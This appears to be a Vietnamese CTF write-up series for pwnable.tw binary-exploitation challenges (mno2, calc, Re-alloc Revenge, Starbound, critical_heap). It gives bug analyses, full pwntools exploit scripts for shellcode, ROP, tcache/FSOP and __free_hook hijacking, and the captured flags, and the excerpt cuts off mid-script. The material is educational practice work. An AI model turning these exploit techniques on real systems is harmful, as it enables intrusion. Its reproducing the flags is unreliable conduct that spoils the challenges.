![image](https://hackmd.io/_uploads/SJdxrh86T.png) ### analyse - tạo **mmap** cho địa chỉ 0x324F6E4D (b'MnO2') có size 0x8000 và prot=7 - sau đó set NULL cuối payload - rồi tới hàm **check()** - hàm **check()** sẽ filter payload ta lại, cho phép các byte in được (ascii) và thoả mãn là 1 nguyên tố hoá học (element) và hoá trị (valence) ```python table = [ 'H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar', 'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Tc', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm', 'Md', 'No', 'Lr', 'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Fl', 'Lv' ] ``` - nhưng cùi mía ở chỗ hoá trị không nhất thiết phải đúng là 1, 2 hay 3 (chỉ check hoá trị là số sẽ sau 1 nguyên tố) ---> BUG: chain custom shellcode - TARGET: shellcode sẽ setup **read( 3 , shellcode_addr , huge_size )** để thực thi **read** 1 lần nữa rồi call execve ### writing shellcode - khá giống bài ``Alive Note`` , nhưng khó hơn ở chỗ các byte là nguyên tố hoá học ---> periodic_shellcode - [link byte shellcode](https://wenku.baidu.com/view/bf5227ecaeaad1f346933f86.html?_wkts_=1705022728292) - [link chain shellcode](https://defuse.ca/online-x86-assembler.htm#disassembly) - đầu tiên trong mớ nguyên tố ta lọc được các byte liên quan đến 4 thanh ghi 32bits như sau ```txt X: pop eax (Xe: pop eax) P: push eax Y: pop ecx H: dec eax A: inc ecx I: dec ecx chữ e là byte 65, là byte not used khi kết hợp thành Xe, e được hiểu là thanh ghi gs (bit cờ) ---> không quan trọng nhưng cần để bypass ``` ![image](https://hackmd.io/_uploads/rk2TMXwTa.png) - workflow: ```text shellcode_addr sẽ trên eax đẩy eax lên stack đưa đỡ vào ecx rồi từ eax đẩy các byte đem đi xor với [ecx+offset] thành int 0x80 xor từng byte thành int 0x80 nên ecx cũng +1 những byte khác không liên quan đem vào để thoả mãn nguyên tố thôi cuối payload sẽ lựa các byte trong nguyên tố sao cho khi xor 0xff hay xor các byte in được khác ra int 0x80 rồi eax xor sao về 3 rồi shellcode còn lại thực thi 1 cái khác (không ảnh hưởng 4 thanh ghi chủ chốt cho đến int 0x80 là được) ``` ```asm 0: 50 push eax #P 1: 59 pop ecx #Y 2: 42 inc edx #B 3: 68 30 30 30 30 push 0x30303030 #h0000 8: 58 pop eax #X 9: 65 42 gs inc edx #eB b: 35 30 30 30 30 xor eax,0x30303030 #50000 10: 48 dec eax #H 11: 42 inc edx #B 12: 68 30 30 30 30 push 0x30303030 #h0000 17: 30 41 67 xor BYTE PTR [ecx+0x67],al #0Ag 1a: 41 inc ecx #A 1b: 67 42 addr16 inc edx #gB 1d: 68 30 30 30 30 push 0x30303030 #h0000 22: 30 41 67 xor BYTE PTR [ecx+0x67],al #0Ag 25: 42 inc edx #B 26: 68 30 30 30 30 push 0x30303030 #h0000 2b: 58 pop eax #X 2c: 65 42 gs inc edx #eB 2e: 68 30 30 30 30 push 0x30303030 #h0000 33: 30 41 67 xor BYTE PTR [ecx+0x67],al #0Ag 36: 35 33 30 30 30 xor eax,0x30303033 #53000 ``` ### get flag ![image](https://hackmd.io/_uploads/BJJEP7wap.png) - script: ```python #!/usr/bin/python3 from pwn import * context.arch = 'i386' context.binary = exe = ELF('./mno2',checksec=False) p = remote('chall.pwnable.tw', 10301) # p = process(exe.path) # gdb.attach(p,gdbscript=''' # b*main+167 # c # ''') # input() table = [ 'H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar', 'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Tc', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm', 'Md', 'No', 'Lr', 'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Fl', 'Lv' ] shellcode = asm(''' push eax pop ecx inc edx push 0x30303030 pop eax gs inc edx xor eax, 0x30303030 dec eax inc edx push 0x30303030 xor byte ptr [ecx+0x67],al inc ecx addr16 inc edx push 0x30303030 xor byte ptr [ecx+0x67],al inc edx push 0x30303030 pop eax gs inc edx push 0x30303030 xor byte ptr [ecx+0x67],al xor eax, 0x30303033 ''') shellcode += b'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN2O' pl = b'PYBh0000XeB50000HBh00000AgAgBh00000AgBh0000XeBh00000Ag53000NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN2O' p.sendline(shellcode) # p.sendline(pl) p.sendline(b'\x90'*0x6a + asm(shellcraft.sh())) p.interactive() #FLAG{4(7|-||>4|_||\||>|>|_|4|\/|(|\/|b|<(|=35|=|\/||\/|d|\|0|_.-} ``` >``FLAG{4(7|-||>4|_||\||>|>|_|4|\/|(|\/|b|<(|=35|=|\/||\/|d|\|0|_.-}`` --- ## calc [150 pts] - description Have you ever use Microsoft calculator? ``nc chall.pwnable.tw 10100`` [calc](https://pwnable.tw/static/chall/calc) - basic file check ![image](https://hackmd.io/_uploads/HJUD_PPpT.png) - check ida ![image](https://hackmd.io/_uploads/H1XHODP6p.png) >**main()** ![image](https://hackmd.io/_uploads/HJYBJdwaT.png) >**calc()** ![image](https://hackmd.io/_uploads/BJ1cedwaT.png) >**get_expr()** >đọc từng byte >white-list [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, -, +, /, *, %] ![image](https://hackmd.io/_uploads/H1cFUdvp6.png) >**init_pool()** ![image](https://hackmd.io/_uploads/HJP3u_waa.png) ![image](https://hackmd.io/_uploads/SkM0uOvTT.png) >**parse_expr()** ![image](https://hackmd.io/_uploads/SkYNK_wTa.png) >**eval()** ### analyse - sau khi thử 1 số run test, ta nhận được các info sau - biểu thức complicated 👉 output wrong answer - biểu thức lỗi : '12 - - 2' 👉 expression error ! - biểu thức số học : '+12' 👉 weird output ![image](https://hackmd.io/_uploads/BJKt9uPTT.png) - chung quy lỗi "expression error!" xuất hiện khi kế kí tự phép toán lại là 1 kí tự phép toán khác - note lại vài địa chỉ và code ```c int count[101]; //$esp+0x18 -------------------------------- printf("%d\n", count[count[0]]); ``` - phân tích tại sao '+12' ra 0 >debug đặt breakpoint ở `b*calc+121` sau **parse_expr()** ![image](https://hackmd.io/_uploads/Syb3mFv66.png) >highlight trắng là **count** >highlight vàng là **count[count[12]]** >lúc này là NULL nên in ra 0 - run test leak canary > canary ở $esp+0x5ac, count ở $esp+0x18 > (0x5ac-0x18)/4 = 357 > input: +357 > breakpoint `b*calc+157` sau **printf** ![image](https://hackmd.io/_uploads/HkOeDYv6p.png) >chuẩn bài - more run test ![image](https://hackmd.io/_uploads/ByY6wFvTa.png) >stack smashing ??? >thế '+12' đó, là có thể thay đổi canary ư - nếu thay đổi được value, thì giả sử tại đó value âm, ta chỉ cần '+' bù là ra 0 rồi cộng tiếp data - nhưng đừng quên là có filter 2 phép toán liên tiếp nên thay vì '+' ta sẽ '-' > nôm na là '-' với '-' ra '+' - conclusion: - leak arbitrary on stack - change value arbitrary on stack ### ROP chain - đã ow thoải mái, ngại gì không ROP - canary là +357: $ebp-0xc ---> +360: $ebp ---> +361: $eip - $ebx cần 1 địa chỉ trỏ tới '/bin/sh\0' - ta sẽ truyền tay '/bin/sh\0' rồi đưa vào 1 địa chỉ bằng gadget ``add ptr[e__], e__ ; ret`` - còn lại là setup gọi execve ### get flag ![image](https://hackmd.io/_uploads/SygDBvDTp.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./calc',checksec=False) # p = process(exe.path) p = remote('chall.pwnable.tw', 10100) p.recvline() addr_binsh = 0x80eba00 #rw_section _bin = u32(b'/bin') __sh = u32(b'/sh\0') pop_eax = 0x0805c34b pop_ecx_ebx = 0x080701d1 pop_edx = 0x080701aa add_ecx = 0x080958c2 # add dword ptr [ecx], eax; ret int80_ret = 0x08070880 def add(index, data): show = "+" + str(index) p.sendline(show) leak = int(p.recvline()) if (leak < 0): leak *= -1 payload = show payload += "+" + str(int(data)) payload += "-" + str(leak) p.sendline(payload) log.info("calc: "+ str(payload)) p.recvline()*3 add(361, pop_eax) add(362, _bin) add(363, pop_ecx_ebx) add(364, addr_binsh) add(365, addr_binsh) add(366, add_ecx) add(367, pop_eax) add(368, __sh) add(369, pop_ecx_ebx) add(370, addr_binsh+4) add(371, addr_binsh+4) add(372, add_ecx) add(373, pop_eax) add(374, 0xb) add(375, pop_ecx_ebx) add(376, addr_binsh+8) add(377, addr_binsh) add(378, pop_edx) add(379, addr_binsh+8) add(380, int80_ret) p.sendline(b"a") p.interactive() #FLAG{C:\Windows\System32\calc.exe} ``` >FLAG{C:\Windows\System32\calc.exe} --- ## Re-alloc Revenge [350 pts] - description Realloc the world! `nc chall.pwnable.tw 10310` [re-alloc_revenge](https://pwnable.tw/static/chall/re-alloc_revenge) [libc.so](https://pwnable.tw/static/libc/libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so) - basic file check ![images](https://hackmd.io/_uploads/HyYxHdDg0.png) - check ida ![main](https://hackmd.io/_uploads/ryIiVFvx0.png) >**main()** ![allocate](https://hackmd.io/_uploads/BkPT4KPxA.png) >**allocate()** ![reallocate](https://hackmd.io/_uploads/B131SKvxR.png) >**reallocate()** ![rfree](https://hackmd.io/_uploads/B1hZHYDeA.png) >**rfree()** ### analyse - source tương đồng bài Re-alloc, nhưng ở đây PIE bật nên exe dynamic - libc 2.29 nên có cơ chế bảo vệ ở bk_pointer, tận dụng option2 là realloc để modify null - note là trong quá trình DEBUG, luôn set các giá trị thoả mãn cho giả định để brute > pwndbg> set *addr = value ### make ubin - trigger DBF rồi sửa 2 byte trỏ về tcache_perthread_struct, sửa tiếp count=7 để free vào ubin > free ngay đầu thread nên có size là 0x251 (size của tcache) > cần sửa count=7 ngay entry 0x250 - tỉ lệ cho sửa tcache_perthread_struct là 1/16 > ![vis](https://hackmd.io/_uploads/BJCcKtvgC.png) > 2 byte > 1 byte cố định \x10 > 1 byte còn lại trong đó nửa byte biết trước \x_0, tỉ lệ cho nửa byte còn lại là 0x0 đến 0xf ~ 1/16 - tỉ lệ thất bại sẽ nằm trong 2 khả năng - ngoài phạm vi heap: báo lỗi `delete(): invalid pointer` - trong heap nhưng sai ptr: EOFError ### leak libc - nếu thành công qua tiếp leak libc bằng FSOP (cũng tỉ lệ sucess là 1/16) > chọn _IO_2_1_stdout > ![stdout](https://hackmd.io/_uploads/r1sxKtvxC.png) > 0x77af6933b758 (lui 8 để malloc lại đúng b760) > 2 byte > 1 byte cố định \x58 > 1 byte, nửa byte biết trước là \x_7, nửa byte còn lại hên xui ### free_hook = system - payload cho lúc leak libc sẽ gồm luôn '/bin/sh\0' - làm ptr lúc **free** là chunk chứa '/bin/sh\0' ---> **delete(idx)** chunk bớt trước khi send payload cho FSOP - ta sẽ tận dụng tcache để malloc ra free_hook ![chunk](https://hackmd.io/_uploads/rk5cF9PlR.png) >idx0 là stdout-8 >idx1 là còn tcache_perthread_struct >chọn **edit(1)** ![vis](https://hackmd.io/_uploads/HytI95DgC.png) > sẽ ghi free_hook ở địa chỉ tô xanh đó > có size là 0x20 > ![bin](https://hackmd.io/_uploads/Hkab99wg0.png) > (nhìn 0x50 lui xuống) - sau đó xoá idx1 đi rồi add cái mới ghi system (sie 0x20) - rồi trigger bằng cách **delete** nơi idx là payload FSOP ![image](https://hackmd.io/_uploads/ry0XicDxA.png) ### get flag - tỉ lệ ăn shell là 1/16 * 1/16 =)))) ![image](https://hackmd.io/_uploads/r1FZfowxA.png) - trời độ thì 2 lần =)))) ![Ảnh chụp màn hình 2024-04-13 133922](https://hackmd.io/_uploads/H1OT_iveA.png) - script ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./re-alloc_revenge_patched',checksec=False) libc = ELF('./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so',checksec=False) ld = ELF('./ld-2.29.so',checksec=False) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*menu+119 b*reallocate+194 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) def add(idx, size, data): sla(b'Your choice: ',b'1') sla(b'Index:',str(idx)) sla(b'Size:',str(size)) sa(b'Data:',data) def edit(idx, size, data): sla(b'Your choice: ',b'2') sla(b'Index:',str(idx)) sla(b'Size:',str(size)) if size == 0: return sa(b'Data:',data) def delete(idx): sla(b'Your choice: ',b'3') sla(b'Index:',str(idx)) while True: while True: p = remote('chall.pwnable.tw', 10310) # p = process(exe.path) GDB() add(0,0x48, b'aaaa') #idx0:8260 edit(0,0, b'') #free edit(0,0x48, b'\0'*0x10) #modify bk_pointer edit(0,0, b'') #DBF without delete ptr edit(0, 0x48, b'\x10\x80') #1/16 chance of success # bin_0x50 : 8260->8010 # point to tcache_perthread struct add(1, 0x48, b'aaaa') #idx1:8010 # use 8260 # bin_0x50 : 8010 edit(1, 0x58, b'AAAA') #8260 #fake_size 0x60 # keep bin_0x50 delete(1) #clear idx1:8010 try: add(1, 0x48, b'\0' * 0x23 + b'\x07') #idx1:8010 #make count = 7 edit(1, 0, b'') #free 8010 ---> ubin size 0x250 (size tcache) message = p.recvline() if message == b'free(): invalid pointer\n': raise EOFError('Incorrect Guess') break except EOFError: p.close() info("##################") info("# stage2 #") info("##################") edit(1, 0x48, b'\x58\x87') # 1/16 chance of success # bin_0x50 : 8010->stdout-8 edit(0, 0x38, b'\0'*0x10) #8260 #modify bk_pointer delete(0) #clear idx0:8260 add(0, 0x48, b'A') #idx0:8010 #bin_0x50 : stdout-8 delete(0) #clear idx0:8010 try: # overwrite _flags & _IO_write_base to leak libc address add(0, 0x40, b'/bin/sh\0' + p64(0xfbad1800) + p64(0) * 3) #idx0:stdout-8 leak = p.recvline() if leak.startswith(b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$'): raise EOFError('Incorrect Guess') break except EOFError: p.close() libc_leak = u64(leak[8:16]) libc.address = libc_leak - 0x1e7570 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) # overwrite __free_hook with system edit(1, 0x48, p64(0) * 8 + p64(libc.sym['__free_hook'])) delete(1) add(1, 0x18, p64(libc.sym['system'])) delete(0) #get_shell p.interactive() #FLAG{r3alloc_the_heap_r3alloc_the_file_Str34m_r3alloc_my_lif3} ``` >FLAG{r3alloc_the_heap_r3alloc_the_file_Str34m_r3alloc_my_lif3} --- ## Starbound [250 pts] - description: Let's play starbound together! multi-player features are disabled. `nc chall.pwnable.tw 10202` [starbound](https://pwnable.tw/static/chall/starbound) - basic file check ![image](https://hackmd.io/_uploads/BJYU-izGA.png) - khi run file, có thể thấy sẽ thiếu 1 số libc nên trong script có để lệnh tải bổ sung nếu máy bạn chưa có >thiếu nữa thì hỏi chat gpt đi nha =)))) - check ida ![image](https://hackmd.io/_uploads/Hy3qxv7zA.png) >**main()** về mấy hàm khác khá là nhiều, nên tóm gọn lại có 7 options ![image](https://hackmd.io/_uploads/B1ORlDmfC.png) > run binary ![image](https://hackmd.io/_uploads/HkVMZwQGC.png) >**show_main_menu()** đi qua lần lượt các hàm thì có mỗi hàm **cmd_setting()** dường như có BUG > sẽ không chụp màn hình tất cả func, do một số không có gì để khai thác ![image](https://hackmd.io/_uploads/ryb3MP7G0.png) >**cmd_setting()** cụ thể là option 2 ![image](https://hackmd.io/_uploads/H1ga7PQM0.png) >**cmd_set_name()** dù file là not stripped nhưng mình vẫn rename một số hàm và biến ![image](https://hackmd.io/_uploads/HJM47vQMC.png) >**name** = 0x80580d0 ### analyse - thấy là **read()** vào biến **name** tận 100 bytes, và **name** lại là phân vùng bss - sau đó set cuối payload là 0 (chắc gửi sendline để set 0xa về 0x0) - khi chọn option 6 là **cmd_setting()** thì khi loop lại **main()** sẽ thay đổi **menu()** từ **show_main_menu()** sang **show_settings_menu()** ![image](https://hackmd.io/_uploads/rkzPNw7z0.png) - BUG ở trong chính hàm **main()** , hàm **strtol** lấy số từ chuỗi, rồi từ số đó mà thực thi ***option[choice]** ![image](https://hackmd.io/_uploads/B10grDmf0.png) >không hề check số âm ===> Out of bound - logical thinking: trỏ **option** về **name** để thực thi, đồng thời **name** là 1 địa chỉ thực thi được ![image](https://hackmd.io/_uploads/r1NgIv7MC.png) > offset = -33 - vì khả năng **read()** tận 256 byte nên có thể setup payload thực thi ROPchain ### ROP - chall này có nhiều hàm được đề cập trong đây ![image](https://hackmd.io/_uploads/HkF9PPXzR.png) >thấy đủ cả **open** , **read** và **write** - z chain ROP là orw đọc flag thôi - thường format flag là '/home/<chall>/flag' >phán đoán từ mấy bài trước >kết luận là '/home/starbound/flag' ![image](https://hackmd.io/_uploads/HkqcuvXGA.png) - payload nhập từ đây, đồng nghĩa ta cần kiếm gadget nào đó tăng $esp lên rồi ret ![image](https://hackmd.io/_uploads/B1jeFDQGA.png) >0x08048e48 - rồi từ đó gia giảm padding phù hợp để ret ### orw - open ![image](https://hackmd.io/_uploads/rk2g9wQfC.png) > dù $ebx nên là đường dẫn flag nhưng ở đây lại lấy $ecx ![image](https://hackmd.io/_uploads/S1OL9DQfR.png) > open thành công return 3 > 0 1 2 ứng std in out err > từ 3 trở lên là đối với tệp tin hoặc socket được mở > ---> ở read cần fd = 3 - sau khi open, nó sẽ return tiếp theo, thì ta sẽ lấy gadget này ![image](https://hackmd.io/_uploads/S17VjPXzC.png) >tăng $esp lên 8 rồi pop ebx >bỏ qua 3 stack (3 thanh ghi setup cho việc call) >quá ư là phù hợp - read ![image](https://hackmd.io/_uploads/r1h3swXz0.png) > ở bước read này, ta cần ebx=3, ecx=rw_section, edx=100 > read vậy cho thoải mái ![image](https://hackmd.io/_uploads/HysG3vmMR.png) >ok vậy xong, việc còn lại là write ra tại rw_section đó thôi - write ![image](https://hackmd.io/_uploads/SkS_hDXGA.png) - lúc này là xong, ta không cần return sau write nào hết nên để gì cũng được ### get flag ![image](https://hackmd.io/_uploads/H19WWizzA.png) - maybe bài này có thể dùng cách khác ngoài orw > đang nghĩ đến ret2dlresolved để get_shell - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./starbound',checksec=False) #sudo apt-get install zlib1g:i386 #sudo apt-get install libssl1.0.0:i386 def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x8049362 b*0x804A654 b*0x8049972 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('chall.pwnable.tw',10202) else: p = process(exe.path) open_addr = exe.plt.open read_addr = exe.plt.read write_addr = exe.plt.write name = 0x080580D0 add_esp_0x1c_ret = 0x08048e48 if args.REMOTE: target_path = b'/home/starbound/flag' else: target_path = b'flag' sla(b'> ',b'6') sla(b'> ',b'2') GDB() sla(b'name: ',p32(add_esp_0x1c_ret)+target_path) add_esp_0x8_pop_ebx_ret = 0x08048936 rw_section = 0x8058180 payload = p32(open_addr) + p32(add_esp_0x8_pop_ebx_ret) + p32(name + 4) + p32(0) + p32(0) payload += p32(read_addr) + p32(add_esp_0x8_pop_ebx_ret) + p32(3) + p32(rw_section) + p32(100) payload += p32(write_addr) + p32(0xdeadbeef) + p32(1) + p32(rw_section) + p32(100) sla(b'> ',b'-33\0' + b'aaaa' + payload ) p.interactive() #FLAG{st4r_st4r_st4r_b0und} ``` >FLAG{st4r_st4r_st4r_b0und} --- ## criticalheap [200 pts] - description: There are some secrets . Try to capture ``/home/critical_heap++/flag``. We recommend you to use the provided docker environment to develop your exploit: `nc chall.pwnable.tw 10500` [critical_heap.tar.gz](https://pwnable.tw/static/chall/critical_heap.tar.gz) - basic file check ![image](https://hackmd.io/_uploads/ryNw-9cGA.png) - check ida (có rename) ![image](https://hackmd.io/_uploads/SJNe_j5fA.png) >**main()** ![image](https://hackmd.io/_uploads/Bku4_i5G0.png) >**add()** >mỗi lần chọn option này, sẽ tạo 1 index mới (max 10 cái) >yêu cầu nhập **name** rồi sau đó dùng hàm **strdup()** tạo ptr heap chứa **name** >![menu](https://hackmd.io/_uploads/BJ4nuicM0.png) >sau đó cho mình 3 lựa chọn ![image](https://hackmd.io/_uploads/Syeltj9MA.png) >**normal()** >tạo struct như sau >```txt >0x0 : name >0x10 : 0x13371337 >0x18 : content >... >``` ![image](https://hackmd.io/_uploads/r17RYoqf0.png) >**clock()** >tạo struct như sau >```txt >0x0 : name >0x10 : 0xDEADBEEF >0x18 : localtime(&timer) #get curent time >... >``` ![system](https://hackmd.io/_uploads/B13L9jqMC.png) >**system()** >tạo struct như sau >```txt >0x0 : name >0x10 : 0x48694869 >0x18 : get_curnt_dir_name() >0x20 : NULL >0x38 : rand() >... >``` ![show](https://hackmd.io/_uploads/HyiGjscf0.png) ![show](https://hackmd.io/_uploads/ryky3j9zR.png) >**show()** >sau khi nhận index, nó sẽ check tại đó là function gì bằng cách lấy giá trị tại **heap[idx+2]** tức là cái struct ở 0x10 ![edit](https://hackmd.io/_uploads/ryKG2o9fC.png) >**edit()** >đơn giản là sửa **name** (lấy len bằng **name** lúc đầu) >không có BUG ![play](https://hackmd.io/_uploads/S1Twni9MR.png) >**play()** >tương tự như **show()**, lần này nó triển khai thêm 3 func khác ![normal_func](https://hackmd.io/_uploads/r1h6hiqzC.png) >**normal_func()** >![menu](https://hackmd.io/_uploads/ByR16i5MR.png) > - option1, thấy được có BUG fmtstr ở đây khi dùng hàm **__printf_chk()** mà không format > - option2, cho phép ta thay đổi content, rồi set cuối struct là địa chỉ gì đó ![clock](https://hackmd.io/_uploads/rkpyRiqzC.png) >**clock_func()** >![menu](https://hackmd.io/_uploads/Hy4MCsqG0.png) > - option1, in ra time trên heap > - option2, update time ![sys](https://hackmd.io/_uploads/H1VYRi5zR.png) ![sys](https://hackmd.io/_uploads/SkW6AjqfR.png) >**system_func()** >![menu](https://hackmd.io/_uploads/rym1J3cfR.png) > - option1, input **name** và **value**, nó sẽ set environment bằng **setenv(name,value)** > - option2, **unsetenv()** thôi, ngược với option1 > - option3, lấy đường dẫn, không có gì đặc biệt > - option4, dùng **getenv()** để lấy biến môi trường, nếu không chọn 'USER' (+0x28) hay 'SYS' (+0x30), nó sẽ gán ở struct + 0x20 ![delete](https://hackmd.io/_uploads/BJONg3qf0.png) >**delete()** >xoá heap nhưng không dùng **free()** >tức là chỉ xoá index trên biến **heap** >maybe có vulnerable ![image](https://hackmd.io/_uploads/rJ-Yx3cM0.png) >**heap** = 0x604040 ### analyse - source khá dài và mệt đầu, nhưng thắc mắc hàm **localtime()** nó sẽ làm gì ![image](https://hackmd.io/_uploads/ryGebh5fR.png) >https://codebrowser.dev/glibc/glibc/time/localtime.c.html#30 >jump vào hàm **__tz_convert()** ![image](https://hackmd.io/_uploads/rJVNbhqfR.png) >https://codebrowser.dev/glibc/glibc/time/tzset.c.html#__tz_convert >lại jump vào hàm **tzset_internal()** ![image](https://hackmd.io/_uploads/HyQOb2cGC.png) >https://codebrowser.dev/glibc/glibc/time/tzset.c.html#tzset_internal >lấy biến môi trường là `TZ` gán vào **tz** >kiểm tra data của **tz** ![image](https://hackmd.io/_uploads/Hyon-n9MA.png) > ở đây thấy nếu **tz** khác NULL, nó sẽ cố gắng đọc file bằng hàm **__tzfile_read** - túm lại nếu ta có thể set được biến môi trường `TZ` là đường dẫn tới flag, là ta có flag trên file rồi - lục lại kí ức, hàm **system_func()** có chức năng đó ---> ngol liền - thêm cái nữa có fmtstr, z dùng '%s' leak ra thôi - NHƯNG MÀ ... - return value của **localtime()** là 1 địa chỉ heap ---> leak heap ### leak heap - ở đây ta sẽ tận dụng BUG không xoá 'hoàn toàn' heap ở hàm **delete()** - ngẫm lại, **system_func()** chọn option 3 sẽ gán return_value của **getenv()** ở struct+0x20 - thêm cái nữa ở **normal()**, khi **add()** tạo heap với option1, nó input **content** ở 0x18 và hàm **show()** nó dùng '%s' để in - problem solved =))))) - work flow: ```txt add -> system, set, get delete add -> normal, b'A'*8 show ``` ### change env - work flow: ```txt add -> system, set TZ + path_flag ``` ### print flag - dùng option2 khi tạo mới heap ```txt add -> clock ``` - debug chậm ở **__tzfile_read()** để lấy giá trị heap trả về, tính offset ![image](https://hackmd.io/_uploads/Hk_RPhcfA.png) >kiểm tra arg ![image](https://hackmd.io/_uploads/SyTZdn5M0.png) > read thành công - rồi ta vào **normal_func()** chọn option2 để thay đổi content rồi option1 để dùng fmtstr - lưu ý là hàm **__printf_chk()** là biến thể của **printf()**, không phải là hàm tiêu chuẩn, sự khác nhau nằm ở phiên bản và môi trường cụ thể > nôm na là không thể dùng '$' để trỏ đến địa chỉ cụ thể > ta dùng '%c' padding vừa đủ argument và căn chỉnh địa chỉ heap chứa flag trên stack ![image](https://hackmd.io/_uploads/B1Yvd39M0.png) ### note - lưu ý cái nữa là trên local và server khác nhau về current time, nên kết hợp với Dockerfile như description bảo và lấy offset cho đúng - dưới đây mình có sửa lại file như sau #### Dockerfile ```dockerfile FROM ubuntu:16.04 MAINTAINER angelboy RUN apt-get update RUN apt-get install xinetd -y RUN apt-get install libc6-dev-i386 -y RUN useradd -m critical_heap++ RUN chmod 774 /tmp RUN chmod -R 774 /var/tmp RUN chmod -R 774 /dev RUN chmod -R 774 /run RUN chmod 1733 /tmp /var/tmp /dev/shm RUN chown -R root:root /home/critical_heap++ CMD ["/usr/sbin/xinetd","-dontfork"] RUN apt-get install nano RUN apt install python3 -y RUN apt-get install gdb git -y WORKDIR /root RUN git clone https://github.com/scwuaptx/Pwngdb.git ; cp ~/Pwngdb/.gdbinit ~/ RUN git clone https://github.com/scwuaptx/peda.git ~/peda ; echo "source ~/peda/peda.py" >> ~/.gdbinit ; cp ~/peda/.inputrc ~/ ``` - [xem thêm](https://hackmd.io/@trhoanglan04/docker#debug-docker) #### docker-compose.yml ```yaml critical_heap: build: ./ environment: - PWN=yes - DDAA=phd - OLDPWD=/home - LOGNAME=critical_heap++ - XDG_RUNTIME_DIR=/run/user/1000 - LESSOPEN=| /usr/bin/lesspipe %s - LANG=en_US - SHLVL=1 - SHELL=/bin/bash - ID=1337 - HOSTNAME=pwnable.tw - MAIL=/var/mail/critical_heap++ - HEAP=fun - FLAG=/ - ROOT=/ - TCP_PORT=56746 - PORT=4869 - X_PORT=56746 - SERVICE=critical_heap++ - XPC_FLAGS=0x0 - TMPDIR=/tmp - RBENV_SHELL=bash volumes: - ./critical_heap:/home/critical_heap++/critical_heap - ./xinetd:/etc/xinetd.d/xinetd - ./tmp:/tmp ports: - "56746:4869" expose: - "4869" cap_add: - SYS_PTRACE ``` ### get flag ![image](https://hackmd.io/_uploads/H1Wiw39zR.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('critical_heap', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x401272 #add_system b*0x400FA9 #normal_content b*0x402184 #delete b*0x401195 #add_strdup_name b*0x400FF8 #clock_localtime b*0x401D77 #system_setenv b*0x401F4C #system_getenv b*0x40194B #normal_printf_chk b*0x40197F #normal_read_change_content c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('chall.pwnable.tw',10500) else: p = process(exe.path) def add(name, num, content=None): sla(b'choice : ',b'1') sa(b'heap:',name) sla(b'choice : ',str(num)) if num == 1: sa('Content of heap :',content) def show(idx): sla(b'choice : ',b'2') sla(b'heap :' ,str(idx)) def delete(idx): sla(b'choice : ',b'5') sla(b'heap :' ,str(idx)) def play(idx): sla(b'choice : ',b'4') sla(b'heap :' ,str(idx)) def set_name(name,value): sla(b'choice : ',b'1') sla(b'heap :',name) sla(b'name :',value) def get_value(name): sla(b'choice : 